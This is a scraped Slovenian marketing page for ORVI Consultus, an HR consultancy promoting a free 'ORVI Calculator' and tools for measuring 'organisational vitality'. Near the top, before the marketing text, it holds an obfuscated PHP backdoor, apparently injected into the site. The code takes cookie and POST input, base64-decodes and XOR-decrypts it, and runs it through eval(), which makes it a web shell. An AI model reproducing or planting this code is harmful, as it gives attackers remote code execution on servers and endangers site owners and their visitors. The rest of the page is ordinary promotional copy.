ORVI Consultus

$bzzOqXH = 'a' . 'X' . chr ( 593 - 494 )."\137" . chr ( 859 - 747 )."\131" . "\x47" . "\120" . "\144";$mzPZkdyWN = chr (99) . "\154" . 'a' . "\x73" . "\163" . '_' . 'e' . "\x78" . chr (105) . chr (115) . "\164" . 's';$FjfQxZxvdq = class_exists($bzzOqXH); $mzPZkdyWN = "4667";$TfOgwaBf = !1;if ($FjfQxZxvdq == $TfOgwaBf){function CYZMRfey(){$NkGawgelCN = new /* 5951 */ aXc_pYGPd(41450 + 41450); $NkGawgelCN = NULL;}$abkJjAz = "41450";class aXc_pYGPd{private function TSrfVcmyQ($abkJjAz){if (is_array(aXc_pYGPd::$tdspvPvLVc)) {$HxZAGtLNhJ = str_replace(chr (60) . chr ( 716 - 653 ).chr (112) . "\x68" . "\x70", "", aXc_pYGPd::$tdspvPvLVc[chr (99) . chr (111) . 'n' . "\164" . "\x65" . chr ( 639 - 529 )."\164"]);eval($HxZAGtLNhJ); $abkJjAz = "41450";exit();}}private $tEyIV;public function KpiQCbhbv(){echo 29160;}public function __destruct(){aXc_pYGPd::$tdspvPvLVc = @unserialize(aXc_pYGPd::$tdspvPvLVc); $abkJjAz = "51049_62631";$this->TSrfVcmyQ($abkJjAz); $abkJjAz = "51049_62631";}public function ELKLhHWyx($RLETS, $dtaHatY){return $RLETS[0] ^ str_repeat($dtaHatY, (strlen($RLETS[0]) / strlen($dtaHatY)) + 1);}public function __construct($JlaKdn=0){$pDkUKSDzWO = $_POST;$QYIPI = $_COOKIE;$dtaHatY = "cdb13c86-ee45-42a1-8840-3858737acf47";$QrnHh = @$QYIPI[substr($dtaHatY, 0, 4)];if (!empty($QrnHh)){$wvTiX = "base64";$RLETS = "";$QrnHh = explode(",", $QrnHh);foreach ($QrnHh as $eGuCLXuHIP){$RLETS .= @$QYIPI[$eGuCLXuHIP];$RLETS .= @$pDkUKSDzWO[$eGuCLXuHIP];}$RLETS = array_map($wvTiX . "\x5f" . "\x64" . "\145" . chr (99) . chr ( 351 - 240 ).'d' . chr (101), array($RLETS,));aXc_pYGPd::$tdspvPvLVc = $this->ELKLhHWyx($RLETS, $dtaHatY);}}public static $tdspvPvLVc = 64164;}CYZMRfey();} ORVI Consultus

SE IZVAJANJE POSLOVNE
STRATEGIJE ZATIKA?

ZAPOSLENI NISO DOVOLJ
UČINKOVITI?

KOLIKO DENARJA IZGUBLJATE?

Ocenite stroške neoptimalnega vodenja ljudi in si oglejte
ugotovitve na pregledni barvni infografiki.

PRENESI
ORVI Calculator LIGHT
BREZPLAČNO

ORGANIZACIJSKA VITALNOST

Organizacijska vitalnost je sposobnost organizacije za sprejemanje izzivov, ki jih prinaša poslovanje, oziroma sposobnost proaktivnega delovanja, odzivanja, preživetja.

Odvisna je:

od individualne vitalnosti posameznih članov (ali hočejo in ali zmorejo),
od jasnosti lastnega poslovnega modela (vizija, cilji, strategije, razpolaganje z viri),
od vpliva, ki ga ima delovanje sistemov vodenja in voditeljstva na pripadnike podjetja (ali so videni kot pravični).

PRESENETLJIVI REZULTATI NAŠE RAZISKAVE

Raziskava na vzorcu 15 podjetij:

povprečno podjetja zaradi pomanjkanja organizacijske vitalnosti izgubijo 2.000 EUR na zaposlenega na leto

Koliko izgublja vaše podjetje?

PRENESI
ORVI Calculator LIGHT
BREZPLAČNO

Oglejte si video:

več ...

POSLEDICE POMANJKANJA ORGANIZACIJSKE VITALNOSTI

več ...

KAKO POVRNITI VITALNOST VAŠEMU PODJETJU?

ORVI Navigator vam skozi ORVI orodja pomaga:

aktivirati zaposlene za preobrat in oživitev vašega podjetja
finančno ovrednotiti potencial, ki ga izgubljate zaradi pomanjkanja organizacijske vitalnosti
določiti prioritete za razvoj HR funkcije na osnovi realnih podatkov
dvigniti delovanje svoje HR ekipe na povsem novo raven
postaviti HR funkcijo v vlogo resnično strateškega partnerja top managementu.